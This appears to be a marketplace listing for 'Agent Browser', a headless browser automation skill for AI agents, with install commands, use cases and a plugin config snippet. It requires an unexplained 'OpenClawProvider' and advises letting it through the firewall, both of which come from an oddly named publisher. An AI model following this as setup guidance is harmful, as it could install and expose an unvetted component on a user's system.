Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
Why use this skill?
Automate web browsing with OpenClaw Agent Browser. A fast, Rust-based headless browser tool for clicking, typing, and navigating complex sites with AI-driven commands.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-shdaumcajgxfWhat This Skill Does
The Agent Browser skill is a high-performance, Rust-based headless browser automation tool designed to bridge the gap between AI reasoning and real-time web interaction. By leveraging a lightweight headless architecture with a Node.js fallback, this skill allows your OpenClaw agent to act as a digital user. It can navigate to specific URLs, parse the Accessibility Tree to identify actionable DOM elements, and execute precise UI interactions such as clicking buttons, filling out forms, or selecting dropdowns. Unlike traditional scrapers, Agent Browser provides a snapshot-based interface where the AI agent receives a map of interactable elements (e.g., @e1, @e2), allowing for logical step-by-step navigation of complex, dynamic web applications.
Installation
Installation is handled through the OpenClaw repository. First, ensure you have the OpenClawProvider installed as specified in the system requirements for Windows or MacOS. Once the provider is active, run the following command in your terminal:
clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-shdaumcajgxf
For advanced users, manual installation via npm is supported by running npm install -g agent-browser and executing agent-browser install --with-deps to ensure all necessary browser drivers are correctly configured for your environment.
Use Cases
Agent Browser is ideal for:
- Automated Quality Assurance: Navigating through web apps to test UI flows.
- Research & Extraction: Accessing authenticated dashboards or dynamic content that standard scrapers cannot reach.
- Form Completion: Filling out multiple government or enterprise forms with AI-generated data.
- Workflow Orchestration: Automating repetitive tasks across web portals, such as downloading reports or clearing browser notifications.
Example Prompts
- "Open the project management dashboard at [URL], find the button labeled 'New Task', click it, and fill the title field with 'Submit Monthly Report'."
- "Navigate to the news site and take a snapshot of the primary headlines to summarize them for my daily report."
- "Go to the settings page, locate the 'Delete Account' button, but do not click it—just report back its exact accessibility label and confirm if it is currently enabled."
Tips & Limitations
- Snapshots are Key: Always request a fresh snapshot after significant page changes; if the DOM structure changes, your previous refs (@e1) may become stale.
- Depth Management: Use
agent-browser snapshot -d 3for complex pages to prevent flooding the agent's context window with unnecessary HTML tags. - Provider Dependency: This tool is strictly tethered to the OpenClawProvider. Ensure your system firewall allows this provider to initialize headless browser instances, or you may encounter connection errors during automation tasks.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-agent-browser-shdaumcajgxf": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
Related Skills
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.